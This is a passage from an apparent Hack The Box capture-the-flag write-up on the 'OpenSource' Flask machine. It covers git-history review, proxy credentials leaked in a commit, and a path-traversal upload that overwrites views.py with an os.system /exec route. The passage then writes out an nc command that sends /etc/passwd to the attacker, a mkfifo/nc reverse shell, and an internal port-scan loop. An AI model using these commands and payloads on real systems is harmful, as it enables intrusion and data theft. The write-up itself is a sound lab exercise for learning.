<span class="o">[</span>+] Found commit: c41fedef2ec6df98735c11b2faf1e79ef492a0f3
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/.gitignore
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/Dockerfile
<span class="o">[</span>+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/INSTALL.md
<span class="o">[</span>+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/__init__.py
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/configuration.py
<span class="o">[</span>+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static
<span class="o">[</span>+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/css
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/css/style.css
<span class="o">[</span>+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/js
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/js/ie10-viewport-bug-workaround.js
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/js/script.js
<SNIP>
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/templates/index.html
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/templates/success.html
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/templates/upload.html
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/utils.py
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/views.py
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/run.py
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/build-docker.sh
<span class="o">[</span>+] Found folder: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/config
<span class="o">[</span>+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/config/supervisord.conf
</code></pre></div></div>
<h2 id="code-review">Code Review</h2>
<p>There’s a lot of files. Looking in the extracted folder we see an initial commit, and then four more which probably have changes:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource/extracted]
└─# ll
total 20
drwxr-xr-x 4 root root 4096 May 27 17:05 0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3
drwxr-xr-x 4 root root 4096 May 27 17:05 1-be4da71987bbbc8fae7c961fb2de01ebd0be1997
drwxr-xr-x 4 root root 4096 May 27 17:05 2-ee9d9f1ef9156c787d53074493e39ae364cd1e05
drwxr-xr-x 4 root root 4096 May 27 17:05 3-a76f8f75f7a4a12b706b0cf9c983796fa1985820
drwxr-xr-x 4 root root 4096 May 27 17:05 4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9
</code></pre></div></div>
<p>We can use <strong>git log</strong> to see the commit comments:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource/extracted]
└─# git log <span class="nt">--pretty</span><span class="o">=</span>oneline
2c67a52253c6fe1f206ad82ba747e43208e8cfd9 <span class="o">(</span>HEAD -> public<span class="o">)</span> clean up dockerfile <span class="k">for </span>production use
ee9d9f1ef9156c787d53074493e39ae364cd1e05 initial
</code></pre></div></div>
<p>We can use <strong>git diff</strong> to see what has changed between commits:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource/extracted]
└─# git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820
diff <span class="nt">--git</span> a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
<span class="nt">---</span> /dev/null
+++ b/app/.vscode/settings.json
@@ <span class="nt">-0</span>,0 +1,5 @@
+<span class="o">{</span>
+ <span class="s2">"python.pythonPath"</span>: <span class="s2">"/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python"</span>,
+ <span class="s2">"http.proxy"</span>: <span class="s2">"http://dev01:Soulless_Developer#2022@10.10.10.128:5187/"</span>,
+ <span class="s2">"http.proxyStrictSSL"</span>: <span class="nb">false</span>
+<span class="o">}</span>
diff <span class="nt">--git</span> a/app/app/views.py b/app/app/views.py
index f2744c6..0f3cc37 100644
<span class="nt">---</span> a/app/app/views.py
+++ b/app/app/views.py
@@ <span class="nt">-6</span>,7 +6,17 @@ from flask import render_template, request, send_file
from app import app
-@app.route<span class="o">(</span><span class="s1">'/'</span>, <span class="nv">methods</span><span class="o">=[</span><span class="s1">'GET'</span>, <span class="s1">'POST'</span><span class="o">])</span>
+@app.route<span class="o">(</span><span class="s1">'/'</span><span class="o">)</span>
+def index<span class="o">()</span>:
+ <span class="k">return </span>render_template<span class="o">(</span><span class="s1">'index.html'</span><span class="o">)</span>
+
+
+@app.route<span class="o">(</span><span class="s1">'/download'</span><span class="o">)</span>
+def download<span class="o">()</span>:
+ <span class="k">return </span>send_file<span class="o">(</span>os.path.join<span class="o">(</span>os.getcwd<span class="o">()</span>, <span class="s2">"app"</span>, <span class="s2">"static"</span>, <span class="s2">"source.zip"</span><span class="o">))</span>
+
+
+@app.route<span class="o">(</span><span class="s1">'/upcloud'</span>, <span class="nv">methods</span><span class="o">=[</span><span class="s1">'GET'</span>, <span class="s1">'POST'</span><span class="o">])</span>
def upload_file<span class="o">()</span>:
<span class="k">if </span>request.method <span class="o">==</span> <span class="s1">'POST'</span>:
f <span class="o">=</span> request.files[<span class="s1">'file'</span><span class="o">]</span>
@@ <span class="nt">-20</span>,4 +30,4 @@ def upload_file<span class="o">()</span>:
@app.route<span class="o">(</span><span class="s1">'/uploads/<path:path>'</span><span class="o">)</span>
def send_report<span class="o">(</span>path<span class="o">)</span>:
path <span class="o">=</span> get_file_name<span class="o">(</span>path<span class="o">)</span>
- <span class="k">return </span>send_file<span class="o">(</span>os.path.join<span class="o">(</span>os.getcwd<span class="o">()</span>, <span class="s2">"public"</span>, <span class="s2">"uploads"</span>, path<span class="o">))</span>
<span class="se">\ </span>No newline at end of file
+ <span class="k">return </span>send_file<span class="o">(</span>os.path.join<span class="o">(</span>os.getcwd<span class="o">()</span>, <span class="s2">"public"</span>, <span class="s2">"uploads"</span>, path<span class="o">))</span>
</code></pre></div></div>
<p>The above shows a number of changes to the views.py file. This line looks like credentials of some sort:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">+</span> <span class="s">"http.proxy"</span><span class="p">:</span> <span class="s">"http://dev01:Soulless_Developer#2022@10.10.10.128:5187/"</span><span class="p">,</span>
</code></pre></div></div>
<p>We don’t know what they are for yet, but looking at other commits there are more changes to views.py. So let’s have a look at the file that is in the live folder instead of these in the git repo:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource/app/app]
└─# ll
total 24
<span class="nt">-rw-rw-r--</span> 1 root root 332 Apr 28 12:34 configuration.py
<span class="nt">-rw-rw-r--</span> 1 root root 262 Apr 28 12:34 __init__.py
drwxrwxr-x 5 root root 4096 Apr 28 12:39 static
drwxrwxr-x 2 root root 4096 Apr 28 12:34 templates
<span class="nt">-rw-rw-r--</span> 1 root root 816 Apr 28 12:34 utils.py
<span class="nt">-rw-rw-r--</span> 1 root root 707 Apr 28 13:50 views.py
</code></pre></div></div>
<p>Here I’ve moved out of the .git folder and in to the app folder. Let’s look at views.py:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="o">~/</span><span class="n">htb</span><span class="o">/</span><span class="n">opensource</span><span class="o">/</span><span class="n">app</span><span class="o">/</span><span class="n">app</span><span class="p">]</span>
<span class="err">└─</span><span class="c1"># cat views.py
</span><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">app.utils</span> <span class="kn">import</span> <span class="n">get_file_name</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">send_file</span>
<span class="kn">from</span> <span class="nn">app</span> <span class="kn">import</span> <span class="n">app</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">upload_file</span><span class="p">():</span>
<span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">files</span><span class="p">[</span><span class="s">'file'</span><span class="p">]</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">get_file_name</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">filename</span><span class="p">)</span>
<span class="n">file_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">(),</span> <span class="s">"public"</span><span class="p">,</span> <span class="s">"uploads"</span><span class="p">,</span> <span class="n">file_name</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="n">file_path</span><span class="p">)</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'success.html'</span><span class="p">,</span> <span class="n">file_url</span><span class="o">=</span><span class="n">request</span><span class="p">.</span><span class="n">host_url</span> <span class="o">+</span> <span class="s">"uploads/"</span> <span class="o">+</span> <span class="n">file_name</span><span class="p">)</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'upload.html'</span><span class="p">)</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/uploads/<path:path>'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">send_report</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">get_file_name</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">return</span> <span class="n">send_file</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">(),</span> <span class="s">"public"</span><span class="p">,</span> <span class="s">"uploads"</span><span class="p">,</span> <span class="n">path</span><span class="p">))</span>
</code></pre></div></div>
<p>This file contains the code handling the uploading of files. The important line is this one:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">file_name</span> <span class="o">=</span> <span class="n">get_file_name</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">filename</span><span class="p">)</span>
</code></pre></div></div>
<p>The get_file_name function is imported from the utils.py file:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="o">~/</span><span class="n">htb</span><span class="o">/</span><span class="n">opensource</span><span class="o">/</span><span class="n">app</span><span class="o">/</span><span class="n">app</span><span class="p">]</span>
<span class="err">└─</span><span class="c1"># cat utils.py
</span><span class="kn">import</span> <span class="nn">time</span>
<span class="k">def</span> <span class="nf">current_milli_time</span><span class="p">():</span>
<span class="k">return</span> <span class="nb">round</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">)</span>
<span class="s">"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""</span>
<span class="k">def</span> <span class="nf">get_file_name</span><span class="p">(</span><span class="n">unsafe_filename</span><span class="p">):</span>
<span class="k">return</span> <span class="n">recursive_replace</span><span class="p">(</span><span class="n">unsafe_filename</span><span class="p">,</span> <span class="s">"../"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
<span class="s">"""
TODO: get unique filename
"""</span>
<span class="k">def</span> <span class="nf">get_unique_upload_name</span><span class="p">(</span><span class="n">unsafe_filename</span><span class="p">):</span>
<span class="n">spl</span> <span class="o">=</span> <span class="n">unsafe_filename</span><span class="p">.</span><span class="n">rsplit</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">."</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">spl</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">file_extension</span> <span class="o">=</span> <span class="n">spl</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">return</span> <span class="n">recursive_replace</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span> <span class="s">"../"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span> <span class="o">+</span> <span class="s">"_"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">current_milli_time</span><span class="p">())</span> <span class="o">+</span> <span class="s">"."</span> <span class="o">+</span> <span class="n">file_extension</span>
<span class="s">"""
Recursively replace a pattern in a string
"""</span>
<span class="k">def</span> <span class="nf">recursive_replace</span><span class="p">(</span><span class="n">search</span><span class="p">,</span> <span class="n">replace_me</span><span class="p">,</span> <span class="n">with_me</span><span class="p">):</span>
<span class="k">if</span> <span class="n">replace_me</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">search</span><span class="p">:</span>
<span class="k">return</span> <span class="n">search</span>
<span class="k">return</span> <span class="n">recursive_replace</span><span class="p">(</span><span class="n">search</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="n">replace_me</span><span class="p">,</span> <span class="n">with_me</span><span class="p">),</span> <span class="n">replace_me</span><span class="p">,</span> <span class="n">with_me</span><span class="p">)</span>
</code></pre></div></div>
<p>We can see in here that there is a basic check for directory traversal, and if ../ is found then it will be removed. However when this is passed back to the upload file function no further checks are done so we can intercept using Burp.</p>
<p>After some playing around I found I can alter the views.py file to add my own code to it. Then I can use that to get command execution.</p>
<p>This is a Flask app so a search on how to create an execute code function found <a href="https://www.secjuice.com/247ctf-slippery-upload-write-up">this</a>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/exec'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">runcmd</span><span class="p">():</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'cmd'</span><span class="p">))</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span> <span class="s">"Exit"</span>
</code></pre></div></div>
<h2 id="exploit-flask-app">Exploit Flask App</h2>
<p>Go back to the upload section on the website and browse to the local copy of views.py we have from the download we looked at earlier:</p>
<p><img src="/assets/images/2022-05-28-18-03-46.png" alt="opensource-upload-file" /></p>
<p>Have Burp ready to intercept and then click <strong>Upload!</strong>, now switch to Burp:</p>
<p><img src="/assets/images/2022-05-28-18-05-42.png" alt="opensource-burp-intercept" /></p>
<p>Add the exec function we found above to the bottom of the file:</p>
<p><img src="/assets/images/2022-05-28-18-06-27.png" alt="opensource-burp-add-code" /></p>
<p>Now change the path the file will be uploaded to:</p>
<p><img src="/assets/images/2022-05-28-18-09-16.png" alt="opensource-burp-change-path" /></p>
<p>We can’t get any output from commands on the webpage, but we can point to our Kali. Let’s try pinging ourselves first:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# tcpdump icmp <span class="nt">-i</span> tun0
tcpdump: verbose output suppressed, use <span class="nt">-v</span><span class="o">[</span>v]... <span class="k">for </span>full protocol decode
listening on tun0, link-type RAW <span class="o">(</span>Raw IP<span class="o">)</span>, snapshot length 262144 bytes
</code></pre></div></div>
<p>Here we have a listener on Kali waiting for imcp packets. Back to the box and try to ping us with this which I’ve URL encoded:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping+-c+4+10.10.14.116
</code></pre></div></div>
<p>Use our new /exec function with the cmd parameter we created:</p>
<p><img src="/assets/images/2022-05-28-18-17-31.png" alt="opensource-ping-me" /></p>
<p>Ignore the error on the webpage. Looking back at Kali we see it worked:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# tcpdump icmp <span class="nt">-i</span> tun0
tcpdump: verbose output suppressed, use <span class="nt">-v</span><span class="o">[</span>v]... <span class="k">for </span>full protocol decode
listening on tun0, link-type RAW <span class="o">(</span>Raw IP<span class="o">)</span>, snapshot length 262144 bytes
18:16:59.874732 IP 10.10.11.164 <span class="o">></span> 10.10.14.116: ICMP <span class="nb">echo </span>request, <span class="nb">id </span>95, <span class="nb">seq </span>0, length 64
18:16:59.874764 IP 10.10.14.116 <span class="o">></span> 10.10.11.164: ICMP <span class="nb">echo </span>reply, <span class="nb">id </span>95, <span class="nb">seq </span>0, length 64
18:17:00.871273 IP 10.10.11.164 <span class="o">></span> 10.10.14.116: ICMP <span class="nb">echo </span>request, <span class="nb">id </span>95, <span class="nb">seq </span>1, length 64
18:17:00.871292 IP 10.10.14.116 <span class="o">></span> 10.10.11.164: ICMP <span class="nb">echo </span>reply, <span class="nb">id </span>95, <span class="nb">seq </span>1, length 64
18:17:01.871263 IP 10.10.11.164 <span class="o">></span> 10.10.14.116: ICMP <span class="nb">echo </span>request, <span class="nb">id </span>95, <span class="nb">seq </span>2, length 64
18:17:01.871278 IP 10.10.14.116 <span class="o">></span> 10.10.11.164: ICMP <span class="nb">echo </span>reply, <span class="nb">id </span>95, <span class="nb">seq </span>2, length 64
18:17:02.871875 IP 10.10.11.164 <span class="o">></span> 10.10.14.116: ICMP <span class="nb">echo </span>request, <span class="nb">id </span>95, <span class="nb">seq </span>3, length 64
18:17:02.871891 IP 10.10.14.116 <span class="o">></span> 10.10.11.164: ICMP <span class="nb">echo </span>reply, <span class="nb">id </span>95, <span class="nb">seq </span>3, length 64
</code></pre></div></div>
<p>How about we grab the passwd file by using nc to redirect the file to us:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc+-nv+10.10.14.116+4444+<+/etc/passwd
</code></pre></div></div>
<p>Start nc listening on Kali ready to receive the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# nc <span class="nt">-nlvp</span> 4444 <span class="o">></span> passwd
listening on <span class="o">[</span>any] 4444 ...
</code></pre></div></div>
<p>Paste the URL encoded command in to the browser as before:</p>
<p><img src="/assets/images/2022-05-28-18-22-21.png" alt="opensource-passwd" /></p>
<p>Back to Kali again to see we have the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# nc <span class="nt">-nlvp</span> 4444 <span class="o">></span> passwd
listening on <span class="o">[</span>any] 4444 ...
connect to <span class="o">[</span>10.10.14.116] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.164] 38679
</code></pre></div></div>
<p>Let’s check it out:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# <span class="nb">cat </span>passwd
root:x:0:0:root:/root:/bin/ash
<SNIP>
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</code></pre></div></div>
<p>Time for a reverse shell. This is just like we did in <a href="https://pencer.io/ctf/ctf-htb-nunchucks">Nunchucks</a> recently, so let’s use the same one:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.163 1337 >/tmp/f
</code></pre></div></div>
<p>URL encode it first, we can use Python to do that:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/opensource]
└─# python3 -c "import urllib.parse; print(urllib.parse.quote('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.163 1337 >/tmp/f'))"
rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/sh%20-i%202%3E%261%7Cnc%2010.10.14.184%201337%20%3E/tmp/f
</code></pre></div></div>
<p>Now add it as a parameter on the /exec endpoint like we did before and paste in the browser:</p>
<p><img src="/assets/images/2022-06-07-22-06-37.png" alt="opensource-reverse-shell" /></p>
<h2 id="shell-to-container">Shell To Container</h2>
<p>Switch to a waiting nc listener to see we have a shell connected:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
connect to <span class="o">[</span>10.10.14.163] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.164] 41543
/app <span class="c">#</span>
</code></pre></div></div>
<p>A quick look at root shows us we’re in a docker container:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/app <span class="c"># ls -lsa /</span>
total 72
4 drwxr-xr-x 1 root root 4096 Jun 7 19:02 <span class="nb">.</span>
4 drwxr-xr-x 1 root root 4096 Jun 7 19:02 ..
0 <span class="nt">-rwxr-xr-x</span> 1 root root 0 Jun 7 19:02 .dockerenv
8 drwxr-xr-x 1 root root 4096 May 4 16:35 app
4 drwxr-xr-x 1 root root 4096 Mar 17 05:52 bin
0 drwxr-xr-x 5 root root 340 Jun 7 19:02 dev
</code></pre></div></div>
<p>We can confirm with a little enumeration:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> /app <span class="c"># arp</span>
? <span class="o">(</span>172.17.0.1<span class="o">)</span> at 02:42:71:1c:b4:47 <span class="o">[</span>ether] on eth0
/app <span class="c"># route</span>
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 172.17.0.1 0.0.0.0 UG 0 0 0 eth0
172.17.0.0 <span class="k">*</span> 255.255.0.0 U 0 0 0 eth0
/app <span class="c"># netstat -anp</span>
Active Internet connections <span class="o">(</span>servers and established<span class="o">)</span>
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:<span class="k">*</span> LISTEN 7/python
tcp 0 54 172.17.0.5:41543 10.10.14.163:1337 ESTABLISHED 543/nc
tcp 0 0 172.17.0.5:80 10.10.14.163:58108 ESTABLISHED 527/python
tcp 0 0 172.17.0.5:80 172.17.0.1:53770 TIME_WAIT -
/app <span class="c"># ifconfig</span>
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:05
inet addr:172.17.0.5 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:845 errors:0 dropped:0 overruns:0 frame:0
TX packets:803 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:74639 <span class="o">(</span>72.8 KiB<span class="o">)</span> TX bytes:412353 <span class="o">(</span>402.6 KiB<span class="o">)</span>
</code></pre></div></div>
<p>So the container we are insides IP is 172.17.0.5. The host IP is 172.17.0.1, which is probably the internal IP of the main box on 10.10.11.164.</p>
<h2 id="port-enumeration">Port Enumeration</h2>
<p>On our original nmap scan we saw port 3000 was being filtered. With us now inside the network we can try and scan from there to see if we can get to that port. For that we can do a simple bash loop, but we are in a Busybox shell not a bash one so the commands are slightly different. I found <a href="https://stackoverflow.com/questions/1445452/shell-script-for-loop-syntax">this</a> which helped me get the right syntax using nc in a loop:</p>
<p>We can scan all ports like this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">i</span><span class="o">=</span>1
<span class="nv">max</span><span class="o">=</span>65535
<span class="k">while</span> <span class="o">[</span> <span class="nv">$i</span> <span class="nt">-lt</span> <span class="nv">$max</span> <span class="o">]</span>
<span class="k">do
</span><span class="nb">echo</span> <span class="s2">"Port: </span><span class="nv">$i</span><span class="s2">"</span>
nc <span class="nt">-w</span> 1 <span class="nt">-v</span> 172.17.0.1 <span class="nv">$i</span> </dev/null<span class="p">;</span> <span class="nb">echo</span> <span class="nv">$?</span>
<span class="nb">true</span> <span class="k">$((</span> i++ <span class="k">))</span>
<span class="k">done</span>
</code></pre></div></div>
<p>It takes a while, but here’s the ports we’re interested in:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Port: 22
172.17.0.1 <span class="o">(</span>172.17.0.1:22<span class="o">)</span> open
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
0
Port: 23
1
<SNIP>
Port: 79
1
Port: 80
172.17.0.1 <span class="o">(</span>172.17.0.1:80<span class="o">)</span> open
0
<SNIP>
Port: 2999
1
Port: 3000
172.17.0.1 <span class="o">(</span>172.17.0.1:3000<span class="o">)</span> open
0
</code></pre></div></div>
<p>This confirms port 22, 80 and 3000 are open and accessible from this container. Let’s have a look what’s on port 80:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/app <span class="c"># wget 172.17.0.1:80</span>
Connecting to 172.17.0.1:80 <span class="o">(</span>172.17.0.1:80<span class="o">)</span>
saving to <span class="s1">'index.html'</span>
index.html 100% |<span class="k">**************************</span>| 5316 0:00:00 ETA
<span class="s1">'index.html'</span> saved
/app <span class="c"># head index.html</span>
<html <span class="nv">lang</span><span class="o">=</span><span class="s2">"en"</span><span class="o">></span>
<<span class="nb">head</span><span class="o">></span>
<meta <span class="nv">charset</span><span class="o">=</span><span class="s2">"UTF-8"</span><span class="o">></span>
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"viewport"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"width=device-width, initial-scale=1.0"</span><span class="o">></span>
<title>upcloud - Upload files <span class="k">for </span>Free!</title>
<script <span class="nv">src</span><span class="o">=</span><span class="s2">"/static/vendor/jquery/jquery-3.4.1.min.js"</span><span class="o">></span></script>
<script <span class="nv">src</span><span class="o">=</span><span class="s2">"/static/vendor/popper/popper.min.js"</span><span class="o">></span></script>
<script <span class="nv">src</span><span class="o">=</span><span class="s2">"/static/vendor/bootstrap/js/bootstrap.min.js"</span><span class="o">></span></script>
</code></pre></div></div>
<p>We can see the original site where we uploaded our initial file is on port 80. Now look at port 3000:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/app <span class="c"># wget 172.17.0.1:3000</span>
Connecting to 172.17.0.1:3000 <span class="o">(</span>172.17.0.1:3000<span class="o">)</span>
saving to <span class="s1">'index.html'</span>
index.html 100% |<span class="k">***********************</span>| 13414 0:00:00 ETA
<span class="s1">'index.html'</span> saved
/app <span class="c"># head index.html</span>
<<span class="o">!</span>DOCTYPE html>
<html <span class="nv">lang</span><span class="o">=</span><span class="s2">"en-US"</span> <span class="nv">class</span><span class="o">=</span><span class="s2">"theme-"</span><span class="o">></span>
<<span class="nb">head</span><span class="o">></span>
<meta <span class="nv">charset</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="o">></span>
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"viewport"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"width=device-width, initial-scale=1"</span><span class="o">></span>
